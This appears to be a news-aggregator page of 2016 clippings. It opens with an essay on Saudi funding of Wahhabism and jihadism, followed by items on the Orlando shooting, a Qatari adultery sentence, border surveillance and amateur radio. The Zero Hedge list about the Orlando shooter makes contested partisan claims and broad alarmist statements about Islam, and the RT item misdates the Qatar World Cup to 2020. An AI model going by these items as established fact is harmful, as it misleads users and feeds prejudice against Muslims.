Since 2011, between 100 and 150 new mosques are at various stages of planning and construction across France. The Muslim Council of France claims that less assistance for such expansion comes from ''foreign organizations,'' but US government sources suspect that much of the funding is actually funneled from Saudi sources through difficult-to-track chains of bank accounts and person-to-person cash transfers. In Bosnia, too, Saudi financing has been central since the end of the civil war, in 1995, for construction of new mosques and cultural centers, such as the King Fahd Mosque in Sarajevo. Saudi and Qatari Wahhabi charities controlled 60 percent of mosques in Italy by 2009. In Kazakhstan, the Mecca-based Muslim World League, long associated with disseminating Wahhabism, is funding construction of mosques. The intelligence service of India estimates more than $244 million has been spent by Saudi Wahhabis during the past decade to set up 40 new mosques and four new madrassas and take over hundreds of others across the subcontinent, from Kashmir in the north to Maharashtra in the west and Kerala in the south.
Marginalized European Muslim immigrants and their descendants, like the Kouachi brothers, who lived in the blighted banlieues, or French suburbs, have become favorite face-to-face targets of Wahhabiproselytizers and radicalizers, as documented in an extensive report by the Institut Montaigne, a French think tank. The laundering of funds from Saudi and other donors runs through the accounts of mosques to imams who then make distributions to organizations and individuals. Once radicalized in their Western and Asian towns, budding jihadis are sent to organizations like al-Qaeda in the Arabian Peninsula and the Islamic State'--groups which US and EU intelligence services regard as being financed by Saudi Arabian assets and continuing to draw upon the most extreme interpretations of Wahhabism.
When US-led coalition forces moved into Afghanistan and Iraq, in 2001 and 2003 respectively, the conditions had already been laid for them to be battled to the death by local and foreign fighters committed to the Wahhabi ideology. When Western troops withdrew, the ideologues attacked recently installed governments with renewed ''substantial and sustained'' Saudi support, in the words of Richard Dearlove, former head of MI6, Britain's foreign intelligence service. The goal seems to be that of ensuring Sunni groups loyal to Wahhabism and allied to Saudi Arabia will control both those nations as well as neighbors wracked by unrest like Pakistan and Syria. Consequently, such countries become training grounds for al-Qaeda''affiliated groups and the Islamic State. Thus, over the past three years, in Yemen, Iraq, Syria, and most recently Lebanon, the Saudi state has been able to utilize jihadis to launch a ''proxy Sunni-Shia war'' aimed specifically against Iran and its Shiite and Alawite allies, according to US Vice President Joe Biden. Saudi action was initially directed by Prince Bandar bin Sultan, the kingdom's former ambassador to Washington and ex''intelligence chief, who had warned Dearlove, even prior to 9/11, that ''the time is not far off, in the Middle East when it will be literally, 'God help the Shia.' More than a billion Sunnis have simply had enough of them.''
The full extent of resources that flowed from Saudi Arabia and its Gulf partners to the Islamic State in Iraq and Syria, and to the Syria-based al-Qaeda affiliate Nusra Front, is difficult to determine. But Biden estimated the illicit resource transfer to jihadis from Saudi Arabia at ''hundreds of millions of dollars and tens of thousands of tons of weapons.'' In addition to ideology and training, for instance, al-Qaeda in the Arabian Peninsula is reported to have provided $20,000 in cash directly to the Paris terrorists.
Funds for equipment and fighters also come from private donors and charitable endowments. Lax banking regulations, traditional money-transfer networks, and influential sympathizers on the Arabian Peninsula have been vital to subsidizing Sunni militants in the ongoing conflicts of Iraq and Syria. Fundraising is conducted in public for the most part within the Saudi kingdom by organizers soliciting contributors at dinners and auctions to make zakat (''purified'') donations to jihad. As with officially derived funds, the privately raised monies too are used to train militants who flock to Sunni jihadi-controlled areas of Syria and Iraq from across the world'--Canadians, Americans, Europeans, Algerians, Malians, Nigerians, Somali, Kenyans, Israeli Arabs, Chechens, Kazakhs, Afghans, Pakistanis, Indians, Chinese, Malaysians, Indonesians, and even Australians. Those human resources are considerable: More than 11,000 Wahhabi-radicalized foreigners had joined the Syrian jihad by September 2014, with French and British citizens predominating recruits from Europe. It costs on average only $2500 to train each jihadi, fundraisers proudly inform potential donors when urging them to give more. After being bloodied in battle, many jihadis slip back into their native countries, just as one or both Kouachi brothers did after time in Yemen.
The Saudi royals like King Salman have not only cast aside blame for such outcomes, but have even implied support for them: ''If there are those who change some work of charity into evil activities, then it is not the kingdom's responsibility, nor its people, which helps its Arab and Muslim brothers around the world.'' According to US intelligence officials, in September 2013 ''hundreds of millions'' of dollars were still flowing to Muslim terrorists from private donors in the Arabian Peninsula. Those monies have impacted not only the Middle East's ongoing religio-political struggles: Their effect was felt indirectly in the desecration of Sufi Muslim shrines in Timbuktu, Mali, by Ansar Dine militants, just as the Taliban earlier had blown up Buddha statues at Bamiyan, and in the kidnapping of Christian schoolgirls to be wives and sex slaves by Boko Haram in Chibok, Nigeria, copied by the Islamic State with Yazidi women in Sinjar, Iraq, a few months later.
Person-to-person contact has been the primary but not the only means of disseminating Islamic fundamentalism. Wahhabi extremism was already present in new media, including the Internet, prior to al-Qaeda's attacks on the US in 2001. Now hundreds of websites, such as Salafi Talk, Islamic Awakening, and Sunni Forum, are easily accessed by would-be fundamentalists. Mainstream Muslims, especially parents, fear they are increasingly unable to combat the radicalization coming from Wahhabi and jihadi sites: ''The biggest issue right now is the Internet'--it's Sheikh Google,'' they lament. Indeed the Internet has increasingly given global jihad an existence apart from mosques, imams, and large-scale funds. Sermons are recorded and uploaded to a wide variety of sites, such as ''The Revival,'' based in Britain, to reach a diverse audience. As intolerant tenets drawn from Wahhabism and violence championed by jihadi groups become virtual, a degree of control slips away from the Saudis and their preachers, who hitherto have served successfully as jihad puppet masters. Similarly, as noted by US Treasury officials, the Internet facilitates long-distance fundraising from sympathetic Saudis through campaigns and merchandise sales on sites such as the Islamic State Report and Islamic State News of Al-Hayat Media Center, not to mention Facebook and Twitter.
Both on and off the Internet, the money trail reflects the larger trend of the Saudi financing of Wahhabism abroad. Funds are funneled from Saudi sources through multiple, seemingly innocuous bank accounts'--often via Qatar and Kuwait'--reaching the accounts of mosques and imams who make distributions to Wahhabi organizations and individuals abroad. Only very recently has the Saudi monarchy sensed danger to its own continuity and, prudently, begun introducing more stringent rules for oversight of waqfs, or charities, to curb funds flowing to Islamists. Saudi Arabia joined the US in co-chairing an international meeting this March aimed at countering terrorist funding. The brutality by Islamic State and Nusra Front terrorists that Saudis are beginning to see, via electronic media and websites, is also compelling them to acknowledge the ugly secular underside of what has otherwise been justified as religious evangelism. The House of Saud is now even working with the US and EU to train Sunni Iraqis and Syrians to combat the Islamic State.
Meanwhile, however, in an attempt to quiet the 2011 Arab Spring's impact upon discontent within his own kingdom, the recently deceased King Abdullah began allocating $350 million for Islamic institutions and authorities'--funds over and above the approximately $100 billion expended during the previous four decades. These expenditures immediately began cushioning the monarchy from internal criticism by reinforcing its ties to Wahhabi leaders, who reciprocated by denouncing all displays of protest against the ruling class as ''un-Islamic'' and punishable by lashing, imprisonment, or death.
The Saudi leadership has very real reasons to be worried about jihad against the regime becoming popular at home. Only 23 percent of Saudi citizens ascribe freely to Wahhabism, despite the munificent official support this ideology has received. Religious intolerance is reflected in Saudi Arabia's standing on the International Human Rights Rank Indicator: 205th out of 216, behind Afghanistan. Yet the kingdom stands 34th of 185 on the UN's Human Development Index, in the very high group with Lithuania and Estonia. The grand bargain made by the House of Saud and the champions of Wahhabism, to provide citizens a high standard of living in return for absolute power in the secular and religious domains, is fraying. Oil revenues'--the backbone of Saudi expansionism not just economically but dogmatically'--are tumbling, forcing an 18 percent cutback in domestic spending. The kingdom's increasingly well-educated and globally savvy population, especially the youth who constitute 64 percent, are chafing at their lack of say in governance and resource allocation. Increasing numbers of ordinary Saudis, while not ready to reject a national religion, are ready for one more in line with modern lifestyles.
Because of these factors, the Saudi royal family, which has lately experienced transition to a new monarch, has an opportunity to abandon the harmful deal made so long ago between the state and the leaders of Wahhabism. But the new king, Salman, may himself be the main obstacle to change. Intelligence sources concur that Salman served as the royal family's main fundraiser for jihadis in Afghanistan during the 1980s, and in the Balkans during the 1990s. He also served as the main conduit between the Saudi state bureaucracy and extremist clerics in the Wahhabi clerical establishment, in addition to directing the Saudi High Commission for Relief of Bosnia and Herzegovina, which has been linked by NATO to al-Qaeda and other jihad organizations. More recently, after ascending the throne, Salman presented the 2015 King Faisal International Prize for Service to Islam to an Indian Muslim televangelist infamous for describing the 9/11 attacks as ''an inside job'' led by President George W. Bush.
Not surprisingly, one of Salman's first official acts as monarch was to dismiss two influential officials who had opposed Wahhabi clergymen'--a reform-minded minister of justice and a relatively tolerant chief of the religious police. And he sought to placate the public by promising financial bonuses rather than political reform. Moreover, by appointing the anti-democratic Muhammad bin Nayef as both crown prince and as interior minister, an office that controls the internal and external intelligence agencies, Salman sent another chilling message. Other recent Saudi cabinet appointees include three descendants of Wahhabism's founder, who will likely work toward ensuring the kingdom continues its absolutist adherence to this intolerant form of Islam.
Instead of looking for the first shoots of a Saudi spring, the new regime seems to favor more of the same. Policies and resources have remained geared toward ensuring that absolute control remains with the descendants of Ibn Saud. So, for instance, US-educated Nayef focuses on suppressing internal terrorism while turning a blind eye to its export abroad. Likewise, King Salman's Operation Decisive Storm, ostensibly a 10-country Sunni offensive against Shiite Houthi rebels in Yemen, on the kingdom's southern border, reinforces Sunni autocrats and widens the intra-Muslim rift rather than quashing Sunni extremists like the Islamic State and al-Qaeda. It all fits squarely with current Saudi policy of ensuring the monarchy leads the world's Muslims irrespective of negative consequences.
The issue is less what the Saudis will do than how the US will react to an extremism whose consequences can no longer be denied by strategic considerations. For decades, US administrations have tolerated Saudi Wahhabism and the jihad, instability, and death it has fueled across the globe. Whether President Obama stressed the need for ending such activities during his January visit to Riyadh is unclear. The Saudis seem to think it is business as usual, with the two nations agreeing to disagree about religious extremism as a result of shared interests in energy policy and containing Iranian regional aspirations.
Saudi Arabia complains that the US is no longer the reliable ally who agreed in 1945 to guarantee the monarchy's security. But as the cradle of Islamist terror, it has become a duplicitous friend as well. It should no longer be allowed to use its oil wealth to take its terror connections off the table. Change has to come soon, either voluntarily from within Saudi society or through external pressure from the global community. Even diplomats from the United Arab Emirates, which share a border with Saudi Arabia along the Persian Gulf's southern coast, now acknowledge they ''know that it [countering terror] must be a cause led by those in the region'--and on the ground'--with the most at stake.'' King Salman has observed that ''extremism feeds extremism.'' To ensure the survival of his realm, he should apply his words to moderating the kingdom's actions.
Carol E.'‰B. Choksy is an adjunct lecturer on strategic intelligence at Indiana University's School of Informatics and Computing, as well as the CEO of IRAD Strategic Consulting, Inc. Jamsheed K. Choksy is a distinguished professor at Indiana University and a member of the US National Council on the Humanities at the National Endowment for the Humanities.
Seth MacFarlane Responds to Orlando Shooting: "Ban Automatic Weapons" - Hollywood Reporter
Tue, 14 Jun 2016 12:47
1:44 PM PDT 6/12/2016 by Ryan ParkerRyan Parker
Family Guy creator Seth MacFarlane did not hold back over social media on Sunday following the news of the largest massing shooting in U.S. history which occurred in Orlando, Fla., the night before.
MacFarlane even responded to some Twitter users who questioned his comments.
"These shootings are a regular occurrence. You don't get to be "shocked" anymore unless you take action to stop them. Ban automatic weapons," he tweeted.
MacFarlane has more than 10 million Twitter followers.
At least 50 people were killed when a gunman opened fire in a packed Orlando nightclub. More than 50 others were injured. The gunman was killed during a shootout with police.
MacFarlane went back and forth with those who did not like his "ban" comment.
"RT @JIMDETHOMAS: @SethMacFarlane should've banned planes after 9/11. // A plane's primary function is not to kill. Get the difference?," he responded.
MacFarlane also responded to someone who said a person with a concealed gun could have stopped the Orlando massacre.
"RT @xNathan30x: one person carrying a concealed handgun in that club could have ended that horror. // Often stated, never once happened," MacFarlane said.
Dozens and dozens of celebrities used social media as a way to express their heartbreak and angst over the tragedy.
These shootings are a regular occurrence. You don't get to be "shocked" anymore unless you take action to stop them. Ban automatic weapons.
'-- Seth MacFarlane (@SethMacFarlane) June 12, 2016RT @JIMDETHOMAS: @SethMacFarlane should've banned planes after 9/11. // A plane's primary function is not to kill. Get the difference?
'-- Seth MacFarlane (@SethMacFarlane) June 12, 2016RT @xNathan30x: one person carrying a concealed handgun in that club could have ended that horror. // Often stated, never once happened.
'-- Seth MacFarlane (@SethMacFarlane) June 12, 2016Man. Twitter responses to all this on my feed are enough to send the even cheeriest soul into a deep depression.
'-- Seth MacFarlane (@SethMacFarlane) June 12, 2016
Cops: Armed Man James Wesley Howell Didn't Threaten LA Pride | Newser Mobile
Tue, 14 Jun 2016 12:15
(Newser) '' Police have backtracked after initially saying James Wesley Howell wanted to do harm to Sunday's LA Pride parade'--but it's still far from clear what the 20-year-old was doing thousands of miles from home with a car full of guns and chemicals used to make explosives. The AP reports that police have found no link to the mass shooting in Orlando, Fla. Police say an earlier statement about the Indiana man wanting to do harm to the gay pride event "was a misstatement," and that he only told them that he planned to attend the festival. Cops found the chemicals and three assault rifles in his car after he was found behaving strangely in Santa Monica early Sunday, the Santa Monica Observer reports.
Howell's friend Joseph Greeson says Howell is bisexual and bears no ill will toward gay people, the Los Angeles Times reports. He says Howell's parents in Jeffersonville, Ind. hadn't seen him for days and had called Greeson's parents looking for him. On a Facebook page that has now been taken down, Howell shares anti-Hillary Clinton and pro-marijuana posts, as well as assorted conspiracy theories. Howell'--who was on probation for an incident involving intimidation with a firearm last year'--is being held on weapons and explosives charges. The LA Pride parade went ahead as planned, with Mayor Eric Garcetti calling for unity, the Guardian reports. "We are Orlando, we are Americans, we are all LGBT community members today, we are all part of a country that will not be beaten down," he said.
Dutch woman raped on vacation receives 'lenient' suspended sentence from Qatari court for 'adultery' '-- RT News
Tue, 14 Jun 2016 12:08
A Dutch woman who reported being drugged and raped while on vacation in Doha was sentenced to a one-year suspended jail term by a Qatari court for having ''illicit sex.'' She had been held in custody since March.
On Monday, a Qatari court sentenced a 22-year-old Dutch woman, known as Laura, to a one-year suspended sentence and fined her 3,000 riyals ($824) for having ''extramarital sex.'' The woman will be deported once she pays the fine, according to the court's decision.
While on vacation in Qatar in March, Laura went out for drinks at an upmarket nightclub in Doha before being taken to an unknown place where she said she was sexually assaulted.
Laura's lawyer, Brian Lokollo, said: ''She went dancing, but when she returned to the table after the first sip of her drink, she realized that she had been drugged. She really didn't feel very well.
Read more
''The young woman remembers nothing more until the following morning, when she woke up in a totally unfamiliar apartment and realized to her great horror that she had been raped.''
Laura managed to flee the apartment and reported the assault to Qatari police, only to be arrested and charged with adultery for having sex out of wedlock.
Her rapist, an identified Syrian national named Omar Abdullah al-Hasan, insisted that the sex was consensual and claimed that the woman had asked him for money.
Al-Hasan was sentenced to 100 lashes for having sex outside marriage and 40 additional lashes for consuming alcohol, which is also prohibited under Qatar's strict laws. The defendant will not serve a prison term, but could also face deportation.
A Qatari official claimed that the Dutch woman's one-year suspended sentence was ''lenient.''
''Had she been a Muslim woman, she would have received at least five years in jail. No one can get out of such charges here in Qatar,'' he said, as quoted by Al Jazeera.
Laura's mother told Dutch NOS television that she has not spoken to her daughter, but feels ''so happy'' to learn of her release. ''I do not know yet when she gets home, but this is not most important,'' she said, adding that ''the most important is that she gets home... I am so happy.''
Laura's case comes as Qatar, a tiny oil-rich country, is preparing for the FIFA World Cup in 2020. There are serious doubts about the country's readiness to offer appropriate treatment to visitors from across the world, who may be unfamiliar with strict Muslim laws, however.
Rights groups also say that foreign nationals working at World Cup construction sites face sub-standard conditions and are subjected to slave labor. In March, Amnesty International accused Qatari authorities of forcing migrant workers to live in poor conditions, while withholding their salaries and passports.
17 Facts About The Orlando Shooter That Every American Should Know | Zero Hedge
Tue, 14 Jun 2016 12:01
Submitted by Michael Snyder via The End of The American Dream blog,
America is in shock. On Sunday, a 29-year-old Islamic terrorist named Omar Mateen shot 102 people at a gay club known as Pulse in the heart of Orlando, Florida. 49 of those that were shot died, and 53 were wounded. So how in the world did this happen?
Well, when you combine radical political correctness with extreme government incompetence and the dramatic growth of radical Islam inside the United States, you create an environment which is absolutely primed for Islamic terror.
The truth is that the FBI knew about this guy well in advance. In fact, they had even interviewed him three separate times over the years. And at one point the government had been investigating the mosque that he had been attending, but that investigation was shut down by Hillary Clinton's State Department. Mateen had told the FBI that he hoped to be a martyr someday, and those were not just idle words. His twisted ideology fueled his actions, and so the choices that he ultimately made should not have come as a surprise to law enforcement authorities. But now that this has happened, will it change the way that the government approaches Islamic terror?
The following are 17 facts about the Orlando shooter that every American should know'...
#1 According to the Director of the FBI, Mateen had ''links to al-Qaida, Hezbollah, and the Islamic State''.
#2 Mateen's father has openly expressed support for the Taliban on YouTube.
#3 Despite those links to terror organizations, Mateen was allowed to work ''as a security guard at a local courthouse''.
#4 Mateen wasn't directly hired by the courthouse. Instead, he was officially an employee of the largest security services company in the world'...
The Orlando nightclub terrorist who pledged allegiance to ISIS worked almost a decade for a major Department of Homeland Security contractor, raising alarms that ISIS sympathizers and agents have infiltrated the federal agency set up after 9/11 to combat terrorists.
Officials say Omar Mir Seddique Mateen, an Afghan-American who held two firearms licenses and a security officer license, was employed by the security firm G4S Secure Solutions USA Inc. since Sept. 10, 2007. The Jupiter, Fla.-based company merged with the Wackenhut Corp. after 9/11 and assumed federal contracts.
#5 It turns out that this U.S. subsidiary of G4S is a company that works very closely with ''the Department of Homeland Security, the US Army, and federal and local law enforcement.''
#6 Mateen's ex-wife says that he would repeatedly beat her while they were married.
#7 He started to become radicalized after separating from his first wife. While they were together, she said that he didn't show much interest in religion.
#8 He made pilgrimages to Saudi Arabia in 2011 and 2012.
#9 He claimed to personally know the Boston Marathon Bombers.
#10 According to the FBI, Mateen has ''been on the radar before'', he was interviewed by them three separate times, and they conducted a 10 month investigation of his activities in 2013.
#11 He is being described as ''unhinged and unstable'' by his former coworkers.
#12 Mateen once declared that he hoped to martyr himself someday, and the FBI knew all about this.
#13 Despite everything that the federal government knew about Mateen, he was still permitted to legally buy guns just last week.
#14 In an odd twist, it also turns out that Mateen was a registered Democrat.
#15 A respected Islamic scholar was urging Muslims in Orlando to ''get rid'' of homosexuals just a couple of months before this shooting took place'...
Farrokh Sekaleshfar '' a British-born doctor and Muslim scholar '' has gained a following by urging Muslims to 'get rid of' homosexuals.
And in April, he took his speech titled 'How to deal with the phenomenon of homosexuality' to the Husseini Islamic Center in Sanford, just outside Orlando, Florida.
Two months later, 29-year-old Omar Mateen carried out the worst massacre in US history by opening fire on a gay club in the same city.
#16 Hillary Clinton's State Department shut down an investigation of the mosque that Mateen attends because it ''unfairly singled out Muslims''.
#17 Just moments before the attack, Mateen reportedly called 911 to swear his allegiance to ISIS.
When is it going to finally sink in for our politically correct politicians that Islamic terror is a major threat?
There are lots of other Omar Mateens out there. And as radical Islam continues to spread both inside and outside this country, the threat is only going to get a lot worse.
Barack Obama is a perfect example of just how clueless many of our top politicians are about all of this. During his speech to the nation, he did not connect this act of terror with radical Islam in any way, shape or form. But the only reason why Mateen did what he did was because of his worldview. He felt perfectly justified in picking up a weapon and gunning down dozens of people, and martyrdom was a reward in his eyes. If he had not been immersed in the world of radical Islam for years, he never would have done such a thing.
Wrong beliefs lead to wrong actions. We see this in action all around us every day, but most of the time the consequences are not as dramatic as we just witnessed in Orlando.
As I have been warning about for some time now, Islamic terror attacks inside the United States are going to continue to get worse.
If you think what happened in Orlando was bad, just wait until these terrorists get their hands on chemical, biological or nuclear weapons.
The detonation of a single weapon of mass destruction in one of our major cities would instantly change life as we know it for every man, woman and child in this entire nation.
The ideology that fuels these terrorists continues to grow, and over time it is inevitable that they will acquire increasingly more powerful weapons.
So yes, gunning down dozens of people in a crowded nightclub is an atrocity that is so evil that it is hard to find words to describe it.
But someday we will see far, far worse in this nation, and at this point we are completely unprepared to deal with that reality.
McCaul unveils ''blueprint'' for enhanced use of technology to control U.S.-Mexico border (update) - Narco Confidential
Tue, 14 Jun 2016 11:58
Image1of13|Securing the Texas-Mexico border
Gabe Hernandez / Associated PressAgents from the Department of Public Safety and Border Patrol prepare to ride with U.S. House Homeland Security Chairman Michael McCaul, along the border in the Rio Grande Valley in 2013. McCaul is now unveiling his committee's Blueprint for Southern Border Security. (AP Photo/The Monitor, Gabe Hernandez)
Agents from the Department of Public Safety and Border Patrol prepare...to ride with U.S. House Homeland Security Chairman Michael McCaul,...along the border in the Rio Grande Valley in 2013. McCaul is now...unveiling his committee's Blueprint for Southern Border Security. (AP...Photo/The Monitor, Gabe Hernandez)
Image2of13|Securing the Texas-Mexico border
John Moore / Getty ImagesA would be immigrant flees while being chased by federal agents from U.S. Customs and Border Protection on September 9, 2014 near Falfurrias, Texas. Thousands of migrants continue to cross illegally from Mexico into the United States, and Texas' Rio Grande Valley has more traffic than any other sector of the U.S.-Mexico border. (Photo by John Moore/Getty Images)
A would be immigrant flees while being chased by federal agents from...U.S. Customs and Border Protection on September 9, 2014 near...Falfurrias, Texas. Thousands of migrants continue to cross illegally...from Mexico into the United States, and Texas' Rio Grande Valley has...more traffic than any other sector of the U.S.-Mexico border. (Photo...by John Moore/Getty Images)
Image3of13|Securing the Texas-Mexico border
John Moore / Getty ImagesA drug mule carries a load of marijuana, according to U.S. federal agents, on the Mexican side of the border as seen from a helicopter flying on the Texas side of the border by the U.S. Office of Air and Marine on September 10, 2014 near Rio Grande City, Texas. Narco traffickers on the Mexican side of the river were apparently preparing to float the bundles across the Rio Grande into Texas when U.S. agents flying over the border surprised them. (Photo by John Moore/Getty Images)
A drug mule carries a load of marijuana, according to U.S. federal...agents, on the Mexican side of the border as seen from a helicopter...flying on the Texas side of the border by the U.S. Office of Air and...Marine on September 10, 2014 near Rio Grande City, Texas. Narco...traffickers on the Mexican side of the river were apparently preparing...to float the bundles across the Rio Grande into Texas when U.S. agents...flying over the border surprised them. (Photo by John Moore/Getty...Images)
Image4of13|Securing the Texas-Mexico border
Eric Gay / Associated PressAn U.S. Customs and Border Protection Air and Marine agent looks for signs along trail while on patrol near the Texas-Mexico border, Friday, Sept. 5, 2014, near McAllen, Texas. Since illegal immigration spiked in the Rio Grande Valley this summer, the Border Patrol has dispatched more agents, the Texas Department of Public Safety has sent more troopers and Gov. Rick Perry deployed as many as 1,000 guardsmen to the area. (AP Photo/Eric Gay)
An U.S. Customs and Border Protection Air and Marine agent looks for...signs along trail while on patrol near the Texas-Mexico border,...Friday, Sept. 5, 2014, near McAllen, Texas. Since illegal immigration...spiked in the Rio Grande Valley this summer, the Border Patrol has...dispatched more agents, the Texas Department of Public Safety has sent...more troopers and Gov. Rick Perry deployed as many as 1,000 guardsmen...to the area. (AP Photo/Eric Gay)
Image5of13|Securing the Texas-Mexico border
Gabe Hernandez / Associated PressAssistant patrol agent in charge Lee Allbee, right, talks about the aerostat used by Border Patrol to look for smugglers and illegal crossings in the Rio Grande Valley, Friday Sept. 5, 2014 at Penitas, Texas. Since last November, the Border Patrol has stationed five surveillance sky cameras in the Rio Grande Valley area _ one in Penitas, two near Rio Grande City and two near Falfurrias, said agency spokesman Joe Gutierrez Jr. (AP Photo/The Monitor, Gabe Hernandez)
Assistant patrol agent in charge Lee Allbee, right, talks about the...aerostat used by Border Patrol to look for smugglers and illegal...crossings in the Rio Grande Valley, Friday Sept. 5, 2014 at Penitas,...Texas. Since last November, the Border Patrol has stationed five...surveillance sky cameras in the Rio Grande Valley area _ one in...Penitas, two near Rio Grande City and two near Falfurrias, said agency...spokesman Joe Gutierrez Jr. (AP Photo/The Monitor, Gabe Hernandez)
Image6of13|Securing the Texas-Mexico border
Bob Owen / San Antonio Express-NewsA helium filled teathered blimp or aerostat which can carry high-tech cameras can be useful in tracking drug smugglers and undocumented immigrants along the Rio Grande. It is being tested by Border Patrol. Thursday Jan. 16, 2014.
A helium filled teathered blimp or aerostat which can carry high-tech...cameras can be useful in tracking drug smugglers and undocumented...immigrants along the Rio Grande. It is being tested by Border Patrol....Thursday Jan. 16, 2014.
Image7of13|Securing the Texas-Mexico border
Gabe Hernandez / Associated PressBorder Patrol agents stand by an aerostat used to look for smugglers and illegal crossings in the Rio Grande Valley, Friday Sept. 5, 2014 at Penitas, Texas. Since last November, the Border Patrol has stationed five surveillance sky cameras in the Rio Grande Valley area _ one in Penitas, two near Rio Grande City and two near Falfurrias, said agency spokesman Joe Gutierrez Jr. (AP Photo/The Monitor, Gabe Hernandez) MAGS OUT; TV OUT
Border Patrol agents stand by an aerostat used to look for smugglers...and illegal crossings in the Rio Grande Valley, Friday Sept. 5, 2014...at Penitas, Texas. Since last November, the Border Patrol has...stationed five surveillance sky cameras in the Rio Grande Valley area..._ one in Penitas, two near Rio Grande City and two near Falfurrias,...said agency spokesman Joe Gutierrez Jr. (AP Photo/The Monitor, Gabe...Hernandez) MAGS OUT; TV OUT
Image8of13|Securing the Texas-Mexico border
Eric Gay / Associated PressA Predator B unmanned aircraft taxis at the Naval Air Station, Tuesday, Nov. 8, 2011, in Corpus Christi, Texas. Using the same technology responsible for lethal strikes elsewhere in the world, U.S. Customs and Border Protection is expanding its use of Predator B unmanned aircraft outfitted with powerful infrared cameras and sensitive radar to patrol U.S. borders. (AP Photo/Eric Gay)
A Predator B unmanned aircraft taxis at the Naval Air Station,...Tuesday, Nov. 8, 2011, in Corpus Christi, Texas. Using the same...technology responsible for lethal strikes elsewhere in the world, U.S....Customs and Border Protection is expanding its use of Predator B...unmanned aircraft outfitted with powerful infrared cameras and...sensitive radar to patrol U.S. borders. (AP Photo/Eric Gay)
Image9of13|Securing the Texas-Mexico border
Gabe Hernandez / Associated PressAn antenna that works with a aerostat used by Border Patrol to look for smugglers and illegal crossings in the Rio Grande Valley Friday Sept. 5, 2014 at Penitas, Texas. Since last November, the Border Patrol has stationed five surveillance sky cameras in the Rio Grande Valley area _ one in Penitas, two near Rio Grande City and two near Falfurrias, said agency spokesman Joe Gutierrez Jr. (Gabe Hernandez/Associated Press)
An antenna that works with a aerostat used by Border Patrol to look...for smugglers and illegal crossings in the Rio Grande Valley Friday...Sept. 5, 2014 at Penitas, Texas. Since last November, the Border...Patrol has stationed five surveillance sky cameras in the Rio Grande...Valley area _ one in Penitas, two near Rio Grande City and two near...Falfurrias, said agency spokesman Joe Gutierrez Jr. (Gabe...Hernandez/Associated Press)
Image10of13|Securing the Texas-Mexico border
Eric Gay / Associated PressU.S. Customs and Border Protection Air and Marine agents and Borstar agents prepare for a patrol flight near the Texas-Mexico border, Friday, Sept. 5, 2014, near McAllen, Texas. Since illegal immigration spiked in the Rio Grande Valley this summer, the Border Patrol has dispatched more agents, the Texas Department of Public Safety has sent more troopers and Gov. Rick Perry deployed as many as 1,000 guardsmen to the area. (AP Photo/Eric Gay)
U.S. Customs and Border Protection Air and Marine agents and Borstar...agents prepare for a patrol flight near the Texas-Mexico border,...Friday, Sept. 5, 2014, near McAllen, Texas. Since illegal immigration...spiked in the Rio Grande Valley this summer, the Border Patrol has...dispatched more agents, the Texas Department of Public Safety has sent...more troopers and Gov. Rick Perry deployed as many as 1,000 guardsmen...to the area. (AP Photo/Eric Gay)
Image11of13|Securing the Texas-Mexico border
John Moore / Getty ImagesTexas National Guard troops watch for illegal immigrant crossings near the Rio Grande River at the U.S.-Mexico border on September 8, 2014 near McAllen, Texas. Thousands of undocumented immigrants continue to cross illegally into the United States, although the numbers are down from a springtime high. Texas' Rio Grande Valley area is the busiest sector for illegal border crossings, especially for Central Americans, into the U.S. (Photo by John Moore/Getty Images)
Texas National Guard troops watch for illegal immigrant crossings near...the Rio Grande River at the U.S.-Mexico border on September 8, 2014...near McAllen, Texas. Thousands of undocumented immigrants continue to...cross illegally into the United States, although the numbers are down...from a springtime high. Texas' Rio Grande Valley area is the busiest...sector for illegal border crossings, especially for Central Americans,...into the U.S. (Photo by John Moore/Getty Images)
Image12of13|Securing the Texas-Mexico border
John Moore / Getty ImagesFamilies of Central American immigrants turn themselves in to U.S. Border Patrol agents after crossing the Rio Grande River from Mexico on September 8, 2014 in Mission, Texas. Although the numbers of such immigrant families and unaccompanied minors have decreased from a springtime high, thousands continue to cross in the border illegally into the United States. The Rio Grande Valley sector is the busiest area for illegal border crossings, especially for Central Americans, into the U.S. (Photo by John Moore/Getty Images)
Families of Central American immigrants turn themselves in to U.S....Border Patrol agents after crossing the Rio Grande River from Mexico...on September 8, 2014 in Mission, Texas. Although the numbers of such...immigrant families and unaccompanied minors have decreased from a...springtime high, thousands continue to cross in the border illegally...into the United States. The Rio Grande Valley sector is the busiest...area for illegal border crossings, especially for Central Americans,...into the U.S. (Photo by John Moore/Getty Images)
When everything else fails, amateur radio will still be there'--and thriving | Ars Technica UK
Tue, 14 Jun 2016 11:51
Getty Images
It's a good time to be technical. Maker communities are thriving around the world, tools and materials to create and adapt are cheaper and more powerful now than ever, and open source hardware, software, and information mean that if you can think it, you can learn how to do it and then make it happen.
For one group of technological explorers, this is more than just a golden age of opportunity: it's providing the means to save one of the oldest traditions in electronic invention and self-education, one that helped shape the modern world: amateur radio. That matters.
Further ReadingRadio amateurs get a sweet deal, with effectively free access to many gigahertz of the same radio spectrum that companies pay billions for. They've earned it. Throughout the history of electronics, they've been at the borders of the possible, trying out ideas that commerce or government deem impossible or pointless'--and making them work. One example of hundreds: Allied military comms in World War II needed a way to reliably control the radios used by front-line forces, replacing tuning knobs with channel switches. Hams had the answer ready and waiting: quartz crystal oscillators. (That's part of computing history too'--you're probably using about ten of them right now.).
The trouble with making a success of frontier territory is that it doesn't stay frontier for long. As radio hams colonised new frequencies and new methods, government and commercial interests wanted in'--and got it. What was useless yesterday can be very desirable today, and a lot of the ham bands in the once-fallow UHF and microwave spectrum now look very tempting for wireless data, satellite downlinks, and the constant chatter of the Internet of Things. Some attacks on amateur spectrum have been repelled, others have succeeded. More are on the way.
It has looked a losing battle at times, as the relevance of amateur radio seemingly faded with the advent of the Internet and cheap digital technology to play with. Radio hams looked like yesterday's people, as relevant as steam engine enthusiasts in the age of spaceflight. Who cares if they lose their spectrum if the rest of us can stream more HD cat videos as a result?
There's enough truth in that to make it dangerous: a large cohort of hams just want to play with radios and talk to their pals'--but it masks four things that amateur radio still does that can't be easily replaced.
Tim Peake aboard the International Space Station, describing how he communicates with on-Earth schools via ham radio.
Start with STEM. In the days of valve radios, it was a standard rite of passage for ten year olds to take them apart and find out how they worked: Richard Feynman, Claude Shannon, and Robert Noyce all started that way. Good luck taking the back off an iPhone, kids'--but the whole path from simple radio receivers to megabit interplanetary communication is still there. Amateur radio will take you every step, bypassing barriers and making connections. There's a reason ham radio is aboard the International Space Station.
